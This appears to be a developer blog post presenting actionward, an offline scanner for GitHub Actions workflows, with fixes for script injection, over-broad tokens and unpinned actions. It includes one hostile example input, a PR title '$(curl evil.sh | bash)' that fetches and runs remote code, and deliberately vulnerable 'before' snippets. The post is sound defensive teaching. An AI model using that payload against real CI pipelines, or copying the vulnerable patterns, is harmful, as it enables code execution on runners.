Most of my GitHub Actions workflows are three steps long. They still manage to
be one of the softest spots in a repo: a stray ${{ github.event.* }} in a
run: block, a token with write-all, an action pinned to a mutable tag. The
tools that catch this stuff tend to be heavy - org-scoped policy engines, a
SaaS dashboard, something that wants a token and a network round-trip before it
tells me anything.
I just wanted a binary I could drop into any repo and run offline. No account,
no config, no credentials leaving my laptop. That itch became actionward.
This is the fast, hands-on tour: install it, run it, read a real finding, fix
two concrete vulnerabilities, then wire it into CI.
What it is (in one breath)
actionward is a single Go binary that statically analyzes the workflow files
under .github/workflows/. It makes no network calls and reads no
credentials. It ships 14 rules and, for each finding, tells you why it
matters and how to fix it. Output is text, JSON, or SARIF v2.1.0 for
GitHub code-scanning.
Install and run
git clone https://github.com/jay-tank/actionward
cd actionward
go build -o actionward ./cmd/actionward
# scan the current repo
./actionward scan .
That's the whole setup. Point it at a directory (or a single workflow file) and
it prints findings. Here's the shape of a real one:
HIGH script-injection .github/workflows/pr.yml:14
Untrusted input `github.event.pull_request.title` is interpolated directly
into a run script and can execute arbitrary shell.
Fix: pass the value through an `env:` block and reference it as "$TITLE".
Rationale plus remediation, right in the output. Now let's actually fix things.
Fix #1 - script injection
The classic. You interpolate an attacker-controllable field straight into a
shell command:
# BEFORE - actionward: HIGH script-injection
- name: Greet
run: echo "Thanks for the PR: ${{ github.event.pull_request.title }}"
A PR title of $(curl evil.sh | bash) runs on your runner. The fix is to move
the value into the environment, where the shell treats it as data, not code:
# AFTER - clean
- name: Greet
env:
TITLE: ${{ github.event.pull_request.title }}
run: echo "Thanks for the PR: $TITLE"
actionward also flags the sneakier variant of this rule: writing untrusted
input into $GITHUB_ENV, which can smuggle values into later steps.
Fix #2 - least privilege for the token
By default a lot of workflows inherit a broad GITHUB_TOKEN. This one asks for
everything:
# BEFORE - actionward: HIGH write-all-permissions
permissions: write-all
jobs:
build:
runs-on: ubuntu-latest
If any step is compromised, so is your whole repo. Scope it down to exactly what
the job needs:
# AFTER - least privilege
permissions:
contents: read
jobs:
build:
runs-on: ubuntu-latest
The permissions rules also cover unscoped tokens and risky OIDC configurations -
same principle, grant the minimum.
Fix #3 - pin your actions
Referencing an action by a moving tag means whatever @v4 points to today can
change under you tomorrow:
# BEFORE - actionward: MEDIUM unpinned-action
- uses: actions/checkout@v4
Pin to an immutable commit SHA (a full-length pin is the safe form):
# AFTER - pinned
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
Other rules in the set worth knowing about: risky checkouts under
pull_request_target / workflow_run, cache poisoning, curl | bash, secrets
hardcoded in run:, secrets leaking through uploaded artifacts, self-hosted
runners on public repos, and continue-on-error slapped on a security step so
it never actually blocks anything.
Wire it into CI
The real payoff is failing a PR before the risky workflow merges. actionward
ships a composite Action that emits SARIF, so findings show up in the repo's
Security → Code scanning tab:
name: actionward
on: [pull_request]
permissions:
contents: read
security-events: write # needed to upload SARIF
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- uses: jay-tank/actionward@v0.1.0
with:
format: sarif
output: actionward.sarif
- uses: github/codeql-action/upload-sarif@v3
with:
sarif_file: actionward.sarif
Prefer to keep it lean? Build the binary in the job and run actionward scan .
directly - same result, one fewer moving part.
Adopting it in an existing repo
Turning a scanner on for a repo that already has a dozen findings is how
scanners get ignored. actionward has a --baseline mode for exactly this: it
records today's findings and then only gates on new ones, so your build goes
green immediately and you burn down the backlog on your own schedule.
# record current findings once, commit the baseline
./actionward scan . --baseline .actionward-baseline.json
# later runs fail only on findings not in the baseline
./actionward scan . --baseline .actionward-baseline.json
For the handful of findings you've reviewed and consciously accept, there's a
project-level .actionward.yml config and an inline # actionward:ignore
comment for a single line. No editing source to silence a rule globally when you
only meant to accept one case.
Where it's going
v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are
an auto-fix mode (apply the env: rewrite for you) and SHA pinning
assistance so the fixes above become one command instead of a manual edit. Those
aren't shipped yet; the 14 rules and SARIF output are.
Try it
Repo: https://github.com/jay-tank/actionward - clone, go build, scan .,
and see what your workflows have been hiding.
If you want the background on why each rule exists, GitHub's own
security hardening for GitHub Actions
is the canonical reference and pairs well with running the scanner.
- Jay Tank
Top comments (0)